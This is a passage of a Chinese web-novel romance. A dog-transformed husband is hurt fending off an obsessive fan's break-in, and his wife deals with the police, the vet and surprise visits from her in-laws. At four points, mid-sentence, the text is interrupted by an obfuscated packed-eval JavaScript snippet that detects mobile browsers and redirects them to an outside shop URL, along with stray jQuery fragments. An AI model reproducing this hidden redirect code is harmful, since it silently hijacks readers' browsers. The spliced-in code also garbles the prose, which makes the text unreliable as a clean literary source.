王部长给的招聘信息是真,吕恪的父亲在拿到后就让我幺子投递简历,凭借还不错的文凭初步通过了笔试。 然而扶不起的阿斗终究是扶不起,笔试成绩很快暴.露出此人得肚子里并没有多少真才实学,一下就被刷了下去。 眼看着第二轮面试没有音讯,吕弟一个人瞒着吕父冲到公司,直呼吕恪的大名。他那副凶神恶煞的模样把前台小姑娘吓得不行,见到吕恪二话不说,冲上去就是要说法。 吕恪一脸不想搭理,好在路过的方铭和唐蜜俩人一搭一唱,暂时把人忽悠走了,事情才算没有扩大影响到正常上班的其他人。 裴矜这才算明白为什么吕恪说他弟弟不行了。文凭和能力是门槛,人品才是一切的地基。他这个弟弟被他爸给彻底惯坏了,听不进一句批评。面试找工作仅仅暴.露了冰山一角,长此以往……裴矜不敢往下想。 坐在办公室几乎没有工作的心情,配筋打开小梅屋助手APP查看了一下家里的情况。 独狗在家的齐北宸在家里的各个角落来回散着步,门外的摄像头暂时没有拍到任何可疑的人和东西。 没有消息是好消息。 裴矜不敢放松,她把APP锁定,一边工作一边时不时抽空瞄上两眼。 “叩叩。” “请进。” 唐蜜和吕恪两人拿着准备好的会议资料及供应商名册进入,两人并排坐在裴矜的对面讨论了许久才把事情初步敲定。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795822|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 大致的分工就是这样,几个需要修改的点回头你们再讨论一下,争取这两天给个意见稿出来。” “好的,主任。” 商讨完毕,吕恪起身要走,唐蜜一把拉住他,对着裴矜使了个眼色:“小吕啊,别走那么急。早上我和方组长才帮过你,坐下聊聊呗。” 吕恪面露难色:“这是主任的办公室,唐姐你在这里说私事是不是不太好?” 裴矜熟知唐蜜的套路,八卦是真八卦,眼色同样厉害。吕恪的家庭问题已经升级影响到了他正常工作,借这个机会谈一谈也好。 “没关系,正好我也想问问。”裴矜对着吕恪点点头,微微一笑,“你父亲最近身体还好吗?” 吕恪的温和表情有些挂不住,他苦笑一声:“谢谢主任的关心,家父身体还好,只是肝火旺盛。” “肝火旺是不是因为你那个阿斗弟弟?”唐蜜摇摇头,“我没想到你弟弟和你性格差那么远,和他讲道理,他一个字都听不进去,他在家也是这样?” 吕恪颔首:“他是家中幺子,大哥和父亲自幼偏爱他多一点,时间一长就长成了现在这样。” “小吕,我说话直接,你可别生我气。”唐蜜免责声明一出,接下来全是吐槽,“这哪儿是被宠坏了,分明当自己是个祖宗,要你们朝贡。你得工作是靠自己实力拼来的,他凭什么要分一杯羹?” 话糙理不糙,唐蜜的话裴矜心理认可,可当着当事人的面这样直白说出来,未免太不考虑对方心情。 裴矜抬眼望去,没看到预料中的无奈和担忧,反而在吕恪身上品到了一丝奇怪的反应。 冷漠、随意、毫不在乎,仿佛说的不是他的亲生弟弟,和自己全无关系的冰冷。 察觉到裴矜正在看自己,吕恪这才浅笑着回答唐蜜:“唐姐,家家有本难念的经,你的好意我明白。事情处理需要个过程,我也得思考下怎么让我弟消化和接受这件事。” 他看得很透彻,知道问题的根源在弟弟身上而非父亲。 裴矜很好奇:“要是你弟弟接受不了的话,你打算会怎么办?” “这个嘛……”吕恪的回答暧昧不清,“我不希望走到那一步。” 唐蜜在旁补刀:“逛你想不想并不能阻止事情发生,今天你弟闹到咱公司来,可是大家有目共睹的事实,长此以往敲的是你的饭碗。” “唐姐担心我的私事会影响工作,确实是我的疏忽,我道歉。”吕恪对着唐蜜鞠躬,“不过你不用担心,我……我已经想好怎么处理这件事了。” 吕恪话语的停顿引起了裴矜的注意。他温和的面具在原生家庭的冲击下已经龟裂了一次又一次,一个更为复杂、不为人知的吕恪一点点被摆在台面上。 没有人可以左右他人的命运,自己才是唯一的掌控者。 唐蜜听他这样说,表情有所缓和:“你知道那就最好咯,祝你顺利。” “嗡——嗡——” 一阵突如其来的警报声打断了三人的谈话,声音是从裴矜的手机里发出的。 裴矜立即消除待机模式,一条血红的系统提示弹了出来。 系统:检测到入侵者,录屏功能自动开启,清指示下一步行动! 39. 战损齐狗 不安感在落地的那一刻转化为失控。 裴矜忘了还有两个她的同事在身边,一句话都顾不上解释,立刻顺着系统的引导打开直播。 画面中,一个身着黑色卫衣的男人手持利器被堵在裴矜卧室门口。站起来足有人高的阿富汗猎犬柔顺的狗毛被抓得到处都是,身上被刀划出好几道伤口。血流不止也不能阻止他嘴咬着入侵者的手臂,两只前爪抓挠对方的腰腹,奋力把对方往门外顶,同时在冲着入侵者狂吠。 齐北宸受伤了,这个傻瓜之前明明答应不会硬刚的,转头全给忘了! 裴矜拍拍脸,强迫自己冷静下来,给张阿姨打电话:“张阿姨,是我,小裴。我们家有陌生人闯入,我家的狗抓住了他,但是现在局面失控了,请你帮帮忙联系物业和保安!” 张阿姨立马答应了下来,坐在裴矜对面的吕恪和唐蜜也意识到情况紧急,立马伸出援手。 唐蜜立刻去王部长的办公室摇人过来,听完裴矜的叙述,后者当机立断让裴矜回家处理紧急情况。吕恪开着负责接送,裴矜和他一路飞驰,同步拨打了报.警电话。 齐北宸,坚持住,你可千万不能有事。 同时检测到异常情况的梅由谨发来了消息。 梅由谨:裴小姐,我已经开车去你家了,约十分钟后到。 裴矜:谢谢! 裴矜的目光一刻不停地注视着APP画面,神情严肃:“小吕,我们大概还有多久可以到?” 吕恪脚踩油门,把速度又提了一档:“大概五分钟左右,坐稳了主任。” 路上的景物不断飞速倒退,车子刚刚停下,裴矜就直冲回了家。 家门口聚集着一堆人围得水泄不通。 张阿姨站在靠外侧的地方,她一看到气喘吁吁跑上来的裴矜冲她招招手:“小裴,你可算回来了!” “张阿姨!现在情况怎么样了?” 张阿姨指着被保安地上的黑衣男子:“这就是闯你家的那个。” 裴矜顺着张阿姨指的方向望去,熟悉的黑色卫衣映入眼帘。在不远处还有一只匍匐在地上,吐着舌头的大型犬。 是齐北宸! 裴矜没理那个黑衣男,径直冲向了齐北宸。大狗的毛被揪掉了好几块,毛发根部血肉模糊,裴矜早上出门前扎好的马尾辫乱成一团。大狗的爪子和腿部还有几处肉眼可见的划伤,刚刚敷上去的止血药粉和皮肉混在一起难以分辨。 “汪呜!” 察觉到裴矜的气息,大狗拖着受伤的腿往前跑了两步,却脚步不稳险些摔倒。 “当心!” 裴矜冲了一步,半跪着接住齐北宸,把他抱在怀里。想要打他的手停滞在空中过了几秒,她才轻柔地落在狗头上揉了揉。 周围的一切仿佛被按下了暂停键,裴矜什么都看不见,眼里只有怀中那条丑到不行的狗。 “笨死了,你这条大笨狗,昨天你怎么答应我的,全给忘了!” 齐北宸往裴矜怀里拱了拱,尽管撕裂的伤口让他疼痛,他仍抽着气在裴矜耳边小声说:“记得,老婆。谁让他想砸咱俩结婚照,我才没忍住嘛。嘶……让你担心了老婆,对不起。” “笨蛋,笨蛋!就说你是笨蛋,你还不承认!” 齐北宸摇摇尾巴,提醒了一句:“老婆,周围还有别的人在看呢。你要骂我,回头就剩咱俩的时候,我让你骂个爽。” 讨厌鬼,这时候还能耍嘴皮子,看来伤得不算严重。 裴矜吸了吸鼻子半蹲着,齐北宸趴在她的身侧。停完车才上来的吕恪和梅由谨俩人狭路相逢,一起朝裴矜走了过来。 “哇,怎么伤那么厉害?阿富汗猎犬的颜值荡然无存啊。” 梅由谨打开医疗包,替齐北宸固定住伤患处,想把它抱起,但巨大的狗子体型压得他够呛。 “太重了。”梅由谨直摇头,他环顾一圈喊了下吕恪,“先生,能不能麻烦你帮我把狗的后腿和尾巴托一把?” “汪!汪!” 不等吕恪上前,齐北宸就龇牙咧嘴地大叫两声,吓得周围的人都不敢动。 吕恪有些无奈:“不好意思,我可能不太招狗喜欢。” “没事,我来吧。” 裴矜站起身,帮梅由谨把狗托了一把,大猎犬像个麻袋一样被交付给了梅由谨。 “裴小姐,狗我先带走了,你有事你先忙有事,我们发信息联络。”梅由谨走之前特意补了一句,“狗狗的情况不算太严重,请你放宽心。” 趴在梅由谨肩头渐渐远去的齐北宸耷拉着舌头恋恋不舍地对着裴矜挥了挥爪子,眼睛无意间扫到站在裴矜身边的吕恪时又故意看向别的地方。 大醋狗,受伤了还不安分。 裴矜也对着他挥挥手,目送一人一狗离开后,在保安和吕恪的陪同下,带着入侵者去派出所说明情况,裴矜依旧选择搭吕恪的车。 俩人上车后,吕恪安静地过了几分钟才开口:“主任,刚刚那条狗也是你养的吗?” 啧,怎么每次齐北宸变成狗几乎都能撞上吕恪,他俩是命中注定要遇到吗? “也不算是。”裴矜决定把锅扣到不在场的梅由谨头上,“刚刚抱狗走的那个是狗主人,他家是开宠物店的,一直想做我生意。” “前些日子我路过店里,见那狗粘着我,我之前曾经在他店消费过彼此都认识,就把狗临时让我带回去试养几天,没想到就出了这种事。” “原来如此。”吕恪笑着点点头,“万物有灵,我看那狗格外喜欢主任你,都把我当成了假想敌了。它在家也会这么对你先生摆脸色吗?” 齐北宸本狗对齐北宸本尊摆脸色,光是脑补这个画面,裴矜就快笑死了。 “咳,我先生还好,没怎么说。” 吕恪握着方向盘的手一紧,过了一会儿,扬起一抹淡然的笑容:“主任,你和齐先生感情很不错呢。当时听到你要结婚的时候我还有些意外,像你这么谨慎的人怎么会闪婚?现在看来是我判断失误了。” 裴矜有些扭捏:“也还好吧,他拍戏忙,和我时间对不上是常有的事。感情就像奢侈品,想球的时候求不来,真来了谁也挡不住。小吕你还那么年轻,迟早会遇到属于你缘分的。” 午后的斜阳透过车窗折射在吕恪的下半张脸上。车子穿过树荫,与浸没在阴影的上半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798348|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 张脸形成了一道天然分割线。 “缘分这种东西是最靠不住的。有些缘分是孽缘,想斩斩不断;有些缘分是宿命,想避避不开。” 吕恪的声音很轻,仿佛从远方飘来。裴矜看着他专注在开车的侧脸,她发现这个年轻男孩身上背负了太多沉重的感情,而他一直把自己的诉求压抑在最深处。 裴矜想劝他看开点,却又无从劝起。他对自己而言是下属,是同事,是弟弟但不会是其他。之前不是,现在不是,以后更不会是。 车内的沉默延续到了派出所门口。 裴矜进入派出所,配合填了必要的信息表。黑衣男在她和吕恪前几分钟先行到达,正在接受调查询问,她等了一会儿才被通知进去。 民警主要就裴矜和黑衣男的关系和事发时候的经过进行问话,裴矜表示自己完全不认识这个人,并把事情的来龙去脉和民警说清楚,又提供了新安装摄像头的录像录音资料作为证据。 回放镜头显示,该男子今天下午拿着准备好的□□或类似工具进入了裴矜家。当时阿富汗猎犬状态的齐北宸正趴在自己卧室休息,听到声音后立即冲了出来。 黑衣男被冲出来的狗吓了一跳,抽出水果刀与之搏斗。一人一狗搏斗过程中,黑衣男一直试图用花瓶、画框等东西砸向齐北宸,然而后者持续性狂吠触发了警报装置。 没过几分钟,接到裴矜电话的张阿姨带着保安一行人抓住了被狗逼在卫生间里的黑衣男,狗被带离现场治疗,黑衣男被众人扭送直派出所,事件落幕。 民警看完问裴矜要了完整视频,告知了她黑衣男的真实身份。 这个男性是齐北宸的私生饭,从齐北宸出道一直非常喜欢他。不单单是作为粉丝那样的喜欢,而是把齐北宸作为男朋友乃至老公那样的喜欢。 该男在数天前看到齐北宸的生日微博后发评,齐北宸本人未做搭理,私信也没开。执意认为裴矜才是第三者的男人心中愤恨不平,他之前就通过多种渠道对齐北宸进行跟踪调查,基本确认他的具体住处。 对方的原计划是通过反复踩点,避免裴、齐夫妻二人在家,以闯空门的方式入屋调查齐北宸的真实婚姻情况,可他没想到夫妻俩虽然都不在,家里多了一只他事前不知道的大型犬看家护院。 一进入客厅,都不用抬头就能看到小夫妻两人的结婚照,私生饭备受刺激。他的进入也引起了在卧室午休的大狗注意,这才引发了后面一系列事情。 裴矜原本没有看清这位把自己当情敌的男性长什么,当她看到一张长得五大三粗,比张飞还张飞的男性脸庞时,她的胃部一阵翻江倒海。 民警看裴矜面色不善,给她倒了一杯水:“裴小姐你还好吗?” 裴矜僵硬地接过水杯,一口没碰:“我……谢谢,我暂时喝不下。” 民警的表情很难绷,全程陪同的吕恪一张脸既想哭又想笑,唯独裴矜嘴角抽搐不已。 她以为齐北宸那句他招男人喜欢是开玩笑,没想到是真的? “咳,裴小姐,你的心情我们很理解,但有件事想和你确认一下。”民警继续问,“你的狗毕竟受到了伤害,它现在如何了?” 40. 休养生息 齐北宸被梅由谨带走去宠物店治疗,至今还没消息。裴矜拿出手机给梅由谨发了条消息,对方很快回复了。 梅由谨:全身多处软组织挫伤,需要拍片检查有没有内伤。掉的毛就不说了,大大小小有十多处划伤,但都不太严重。 梅由谨:目前看来,比较严重的是左前爪和右后腿两处骨裂,万幸的是没发展到骨折,其他的还需要检查报告出来才能告诉你详细结果。 裴矜把梅由谨的话转述了一遍,民警表示黑衣男的行为已经触犯法律,让她保留好狗的伤情鉴定报告和其他财物受损证据,就让她先回去等消息了。 和吕恪两人走出派出所大门已是下班时分,树上的蝉鸣声也随着热气消退小了许多,偶尔叫了几嗓子便喊不动了。 心中的大石头已然落地,裴矜第一次打量起吕恪的新车:“小吕,你什么时候学会的开车?从来没见你开过啊。” “驾照早就考好了,车子……我才买一个月不到,主任不知道也正常。” 吕恪说完打开车门,准备送裴矜回去,却被裴矜婉拒了。 “我想去看看那只狗怎么样了。” 吕恪愣了下点点头:“也是,我去估计会不太方便吧。” 身为主任的裴矜很想否认这句话,但她此刻并未反驳:“和你没关系,别多想,而且宠物店距离这里也近。小吕,今天也麻烦你陪我来回折腾,辛苦了,你还是早点回家休息吧。” “我……好。”吕恪犹豫的话在嘴边转了一圈,搭在车门上的手停留了数秒,他扬起一抹熟悉的笑容,“有事请随时联系我,主任。” “嗯,谢谢,再见。” 裴矜目送吕恪的车远去,自己才往小梅屋的方向走。 吕恪在她公司大概留不了多久,他像一座沉在水面下的冰山,把自己藏得很深。如果不是他父亲找上公司闹事,谁会知道他有那么复杂的家庭背景? 裴矜很清楚吕恪不像方铭或者唐蜜那般,会因为自己的喜好率性而为。他一个月前就买了车,说明他的经济来源不止这份普通的工作,以他父亲对他那般吝啬,断然不是家里提供的物质基础。 他应该有别的谋生手段,而且连家里人都被隐瞒得不错,否则事情就不止闹到公司堵门那么简单了。 通过这些日子的相处,让裴矜深刻认识到吕恪的温和从来是他的社交面具,真实的他心思缜密甚至有冷血的一面。他有自己的想法,他的能力也跟得上自己的想法,在明知道自己父亲弟弟为人的情况下,他仍旧选择留在这里,答案显而易见了。 裴矜叹了口气,抬头看着一片昏黄的天空,努力把那些复杂的想法清除出去。 但愿一切只是她杞人忧天。 可如果一切和她想的一样……她依旧会选择今天的选择,不会后悔。 想到这里,裴矜去宠物店的步伐又轻快了不少。 搭公交车坐了几站路,裴矜左脚刚踏入小梅屋宠物店,只听到VIP房内传来一阵阵鬼哭狼嚎。 “小梅,你手脚轻一点,疼!” “嗷!别揪了!毛本来就不多,再揪要变成秃毛狗了!” “我去,梅由谨你是在把我当仇人整啊!那么丑的绷带绑着影响我的颜值。” 梅由谨拿着医疗器具哭笑不得:“我说齐哥,我现在在给你看病,不是给你设计造型。你到底是想快点好起来回家,还是和对面笼子里的兔子一样,耳朵上挂点滴挂一天?” “我又不是兔子,你少吓唬我。”被绑扎到一半的齐北宸见到裴矜的瞬间,甜甜地叫着,“老婆~你来啦!” “嗯,刚刚从派出所出来,过来看看你的情况。”裴矜见梅由谨还在替他治疗,没靠太近,站在不远处招招手,“小梅,其他检查结果出来了吗?” “出来了一部分,没什么大问题,就是得养一段时间。”梅由谨包扎完拿起剃刀,把齐北宸的狗头拨至一侧,“齐哥,配合一点,你这样老梗着脖子,我没办法给你修毛了。” 齐北宸被迫侧过头,眼珠子仍盯着门口:“就你一个啊老婆,没别的人?” 裴矜无语:“你看什么呢?” “看你的护花使者。” “哈?我一个人来的,没人送。” “真的?” “假的。” “裴矜,小梅还在这儿你就忽悠我。我都光荣受伤了,你还欺负我这只可怜狗。” “诶,你们夫妻俩的家务事别扯上我。”梅由谨指了指自己单边的蓝牙耳麦,“我什么都没听见,你俩慢聊,我去拿单子。” 屋内霎时间安静了下来。 裴矜拉过小板凳坐在齐北宸身边:“伤好点了吗?老公。” 齐北宸方才还委屈巴巴的狗脸一下放晴:“哪儿那么快,疼还是有点疼的,不过……” “嗯?” “为了咱家,这点疼算不了什么。” 裴矜笑出声,摸摸狗耳朵:“是,我们宸宸今天是看家护院的大英雄,最可爱了。” “那必须的。”齐北宸把胸一挺,但不小心扯到伤口,疼得他直吐舌头,“你是不知道看到那人脸的时候,那叫一个刺激。” “他还对着我喊,‘齐北宸,你居然我背着和别的女人结婚了,她哪儿有我好!’。别的不提,光冲他长得比人猿泰山还凶悍的外表,我都怀疑他是不是跑龙套冲错片场了。” 裴矜回想起前不久看到的照片,摇摇头:“我原来以为你说你招男人喜欢是随口一提,没想到竟然是真的。” 齐北宸叹息:“我刚出道那会儿就见识过了,把评论区当无人区发,还有私信聊骚我的,我全给屏蔽了。但这位也太硬核了,我无福消受,还是留给他的有缘人吧。” “嗯,以后可不能这样了。你把之前答应过我的事都忘了吗?”裴矜语气酸涩,“你知不知道今天看到你那个样子,我会担心你的。” “老婆。” 齐北宸狗狗眼里闪着水光,汪呜一声就往裴矜怀里拱,狗毛蹭了裴矜一身也浑然不觉。 裴矜半搂着他:“再有下次,罚你睡一辈子沙发。” 齐北宸傻笑着点点头:“好,都听老婆的。对了老婆,我还有件事得拜托你。” “什么事?” “小姐夫刚刚发信息给我,咱家的门到货了。” “那么快?什么时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801294|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 候来?” “明天下午。” 裴矜立刻理解了他的意思:“这事我会搞定的,你最近就负责安静养伤。” “对咯,还是裴小姐明白事理。”梅由谨正巧拿着一大叠单据推门而入,“齐哥,你点滴还没吊,你觉得我会放你回家吗?” 齐北宸歪了歪狗嘴:“小梅,你是不是游戏打不过我,故意想把我扣在你这儿,好多赚几个钱?” 梅由谨吹了声口哨,避而不谈:“齐哥,我可是为了你的健康考虑。就冲你现在生活不能自理的样子还不得给嫂子添麻烦?不像我这设备齐全,随时能照顾你。” 裴矜也认同梅由谨的说法,距离齐北宸变回来最多也就一天左右的功夫,他还受着伤,跟自己回家还不如留在这里。 “是啊,老公,你就听小梅一回吧。” “老婆,怎么你也帮他说话?今天才发生那么危险的事,你一个人在家我不放心。” 原来他在担心这个,小傻狗不多关心自己,还操心她。 裴矜轻拍齐北宸的狗爪子:“我没你想的那么脆弱,你呀,当务之急是养好伤。” “对咯,还是嫂子明事理。”梅由谨微笑着把一叠纸放在裴矜手上,“你要的伤情鉴定报告,还有截止到目前为止齐哥的医疗费用,请过目。” 裴矜接过一看,被上面的一串零冲击得无言以对,连旁边的齐北宸都伸过脑袋来看。 “一瓶药水要几百块,你给我吊的是神仙水还是天仙玉露啊?”齐北宸狗嘴叭叭,“还有那些个检查费,林林总总加起来都四位数了。梅由谨,还说你不是开黑.店的!” “诶,话不能这样说,齐哥你冷静一点。”梅由谨技巧地把狗子按回去,“今时不同往日,你这身体又狗又人的,一般医疗机构没我熟悉你的情况。要是有个好歹没检查出来,那吃亏的还是你呀。” 裴矜咋舌:“就算你这样说,价格也太离谱了。” 梅由谨立即反驳:“裴小姐,这你就不懂了。我们小梅屋贵是贵了点,但你花得放心,齐哥用得舒心。宰谁不能宰你们,不然我这生意可没法做下去了。” 嘴上说着不宰,手里的刀比谁都快。 看在小梅屋APP确实今天发挥了功效,裴矜懒得和他计较。 眼瞅着时间不早了,裴矜和梅由谨确认了一些细节,才与齐北宸依依不舍话别。还没等她走远,就听到齐北宸熟悉的杀猪叫。 “我不要打点滴!还说你不是把我当兔子整!梅由谨,我和你没完!” 哎,养伤之路其修远兮,齐贵妇还有很长的一条路要走。 第二天,裴矜准时下班迎接新门安装服务。她到家不到几分钟,电话响了,打电话的人是卢烨。 卢烨似乎在室外打的电话,能听到四周传来闹哄哄的声音:“喂,小裴,是我卢烨。今天情况有些特殊,我就不过来了。” 裴矜有些奇怪,卢烨可不是会随便放鸽子的人。 听出他话语里含糊不清的意味,裴矜追问:“姐夫,你不来,我和谁对接啊?” “咳。”卢烨沉默片刻,“是一个比我更有分量的人,你过会儿就知道了。” 41. 我独自在家 卢烨说得不清不楚,裴矜听得一脸懵逼。 浸淫职场多年,裴矜早已摸出了套路。普通领导下基层莅临指导必然会事先告知,真正的微服出巡才是不声不响,说来就来。 裴矜的眼皮直抽抽,她觉得这个所谓的接头人是重量级选手。 预感总是好的不灵坏的灵。 大概一刻钟后,裴矜在焦躁不安的等待中迎来了她的两位大领导——齐北宸的双亲。 她和齐北宸相亲认识,齐北宸对她的父母还算熟悉,她对齐家父母就没见过几次面。不是裴矜不愿意去见公婆,而是公婆俩人跑得实在太快。 裴矜至今还记得她和齐北宸婚礼时,齐家父母上午才从国外旅游飞回来,给二人道贺出席之后没过两天就又飞走出去玩了。结婚三十多年,感情依旧如胶似漆,裴矜很羡慕。 和传统保守的裴家不同,齐家双亲从小教育儿子就是纯放养政策。齐北宸的父亲是一名不出名的画家,从年轻画到现在,做的全是亏本买卖。要不是齐家的信托兜底,这位老前辈艺术创作者恐怕要先于儿子一步去卖艺求生存。 齐北宸的母亲年轻时是一位模特,她在给齐父当模特时俩人擦出了爱的火花,一来二去便确定了关系。齐父从小叛逆,不遵从家里长辈的安排去相亲,信奉自由恋爱。两人抗争了几年,最终以齐北宸呱呱坠地为分割线,夫妻俩带着孩子回归齐家,画上了句号。 当看不出真实年龄的女性挽着留着一头飘逸长发的中年男人出现在裴矜面前时,裴矜的防空警报响个没完。 齐北宸的长相吸取了父母的优点,齐父身材高瘦皮肤白皙,齐母身材比例完美有着一张精致的脸庞。如此强大的基因在前,也不难怪齐北宸长得那么赏心悦目。 要是今天不是裴矜一个人接待毫无预告的公婆二人组,她定要好好舔一番颜。可惜今天她的狗队友老公还在宠物店哼哼,这场硬仗她只能一个人去打。 头脑风暴完毕,裴矜自动切换到裴主任营业模式,陪着笑容:“爸、妈,你们怎么来了也不提前和我说一声。” “我们两个老年人随便走走,不想给你们添麻烦。”齐母笑得爽朗,“小裴啊,听小烨说你们要换门?正巧我和我家亲爱的空着也是空着,不用小烨特意跑一次。” 她顿了顿又道:“门锁和师傅我们都带来了。我故意让小烨不要告诉你,就是想给你和宸宸一个惊喜。哈哈,惊不惊喜,意不意外?” 何止是惊喜,简直是平地一声惊雷起,炸飞小鸟无数。 裴矜笑得勉强,嘴里却说:“不好意思,麻烦爸妈了。” 齐母大气一挥手:“小事罢了。你们要换哪扇门?” “大门。” 从头到尾没出声的齐父打了个电话,在楼下等待已久的安装人员抬着门就上来干活。施工队步调有序,从部署到动手没有裴矜施展的空间。 裴矜把二人迎进屋,一头冷汗涔涔。她偷摸拿出手机刚给齐北宸发了一条消息,才坐下在客厅喝茶的齐母便亲切地呼唤起了裴矜。 “对了小裴,宸宸呢?怎么就你一个?” 婆婆,你儿子变成狗狗这件事你知道吗? 裴矜又不能把这么离谱的事告诉婆婆,给了个万金油答案:“他拍戏去了,不在家。” 齐母点点头。 齐父的目光在两间卧室里来回切换,出其不意地问了一句:“小裴,你和那死小子平时分房睡?” 裴矜给齐父倒水的手一抖,水溅出几滴。 没听齐北宸说他爸眼睛那么毒辣,还有老爷子怎么管齐北宸叫死小子呢? 拿过抹布擦擦桌子,裴矜把锅往自己身上揽:“我有些洁癖,所以弄了两个房间,方便一点。” 此言一出,齐家父母纷纷侧目。 “哦?” “啧啧,现在的年轻人玩得就是花。” 本意仅仅想表达分房是因为她的洁癖,夫妻感情并无不睦。话说的也没问题,只是到了两位长辈耳朵里,自动转换成了别的意思。 在社死和被公婆拆穿谎言之间,裴矜红着脸,脚趾抓地地打落牙齿往肚子里吞。 该死的齐北宸,她恨死他了! 见裴矜低着头不说话,齐母笑着调侃:“小裴,大家都是过来人,不用那么害臊,我和孩子他爸年轻时候都是那么过来的。” “你们新婚没多久,如胶似漆说明感情好。我这个儿子体力好、精力足,想一出是一出。他要是太折腾你,你也别太惯着他,老换着房间不停歇,你吃得消?” 聊的话题越走越偏,裴矜放十头牛出去都拽不回来。 车轱辘压在脸上来回倒腾,裴矜接也不是,不接也不是,一张脸红得滴血:“我……我听妈的。” 齐父喝了一口茶,发动二次暴击:“小裴,我看你那么害羞,该不会是平时和那混小子是假结婚,来忽悠我们几个老东西吧?” 裴矜的脸色霎时间和KTV吊顶悬挂的迪斯科球体似的,五颜六色,变幻个不停。 齐北宸,你爸爸到底是画家出身还是特工出身?哪有人才坐下几分钟,一开口就是一句要命的话,她一只老菜鸟怎么和大BOSS打? 关键时刻,裴矜厚起脸皮学起了齐北宸,一副小女儿的娇羞样子:“爸,你这样问,让我怎么回答嘛。我要是说不是,妈得追问个没完;说是,你又要怀疑我和阿宸联合起来骗你。我是不知道该说什么了,你教教我怎么答才对?” 齐父盯着裴矜的脸看了一会儿,笑着摇摇头:“听到没,亲爱的,儿媳妇在责怪我这个老东西多嘴了。” 齐母手指轻点自己老公的嘴唇:“你啊,就是疑心病重。小裴质疑你一点儿没错,欠收拾欠教育,等着人来收。” 齐父握着齐母的手指,笑着轻吻了下她的唇:“亲爱的想收我,随时可以。” 齐母勾唇,目光流转:“你确定吗?” 俩人完全忘了还有个在VIP特等席的裴矜在场,旁若无人地来了一发深吻。 非礼勿视,非礼勿听! 裴矜下意识用双手遮住了眼睛,又忍不住从手指的缝隙里偷看这对年过半百依然热情似火的夫妻。 哇哦,这是她免费能看到的吗? 裴矜只觉得气血上涌,直往她鼻腔冲。 漫长的一分钟过后,客厅的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804147|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 气温都上升了好几度,四处散发着粉色泡泡。 裴矜搓着手坐在下侧,齐母拿出化妆镜在补口红,齐父用纸巾擦着嘴唇:“小裴见笑了,今天突然造访是想了解一下你们小夫妻情况。宸宸性格独立,这和我和他妈从小教育他的方式有关,今天既然他不在,那我们改天再来。” 裴矜的手搓不动了,她缓慢地抬起头问:“你们二老不出去旅游了吗?” “出去玩也得有个度,天天在外面和天天在家就没区别了。”齐母收起化妆镜,对着裴矜眨眨眼,“感情也是一样的道理,小裴。适当保持新鲜感和小刺激才能把你的小宸宸牢牢抓在手心里哦!” 齐北宸能不能被她抓在手心里她不知道,公婆组拿捏她是一口酥。他们俩人再不走,裴矜都要考虑木仓不杀,举手投降了。 好在客厅里的三人聊天的时候,门外的施工队就没停过,仅花了几个小时就完成从拆旧门到安装新门的全过程。 裴矜扫完虹膜录入完指纹,交付方给予了裴矜一本操作手册并推送了官网链接做完说明,就拿着签字单走了。 一同离开的还有齐家父母,但裴矜很确定,她这对肉食系公婆接下来的几天绝对要对他们的亲儿子发动二轮突袭。 她那个二货老公现在还是条没用的小废狗,愁死人了。 一个人在家的裴矜当天晚上并没睡好。新门安装后,物理上的安全感有了,心理上的安全感可不是那么容易填满的。 早起顶着一对熊猫眼,裴矜在路上刷着手机信息。 齐北宸还是没有回复。 裴矜又发了几条告诉他,他父母来访的概况,发现他仍然不回时,果断放弃了挣扎,转而联系起了梅由谨。后者几乎秒回。 梅由谨:齐哥昨天死活不肯打点滴,针头挣脱好几回,狗爪子肿成熊掌了,现在在和对面耳朵打点滴的兔子面对面思考狗生呢。 噗,难怪那个刷消息狂魔没有回应,原来是被物理限行了。 裴矜莞尔,又问起齐北宸的其他情况。梅由谨回了没几句就突然慢了下来。 梅由谨:不好了,齐哥可能是要变回来了。先不聊了,我得把点滴、绷带那些给他卸下来。 裴矜:需要我去小梅屋接送他去医院吗? 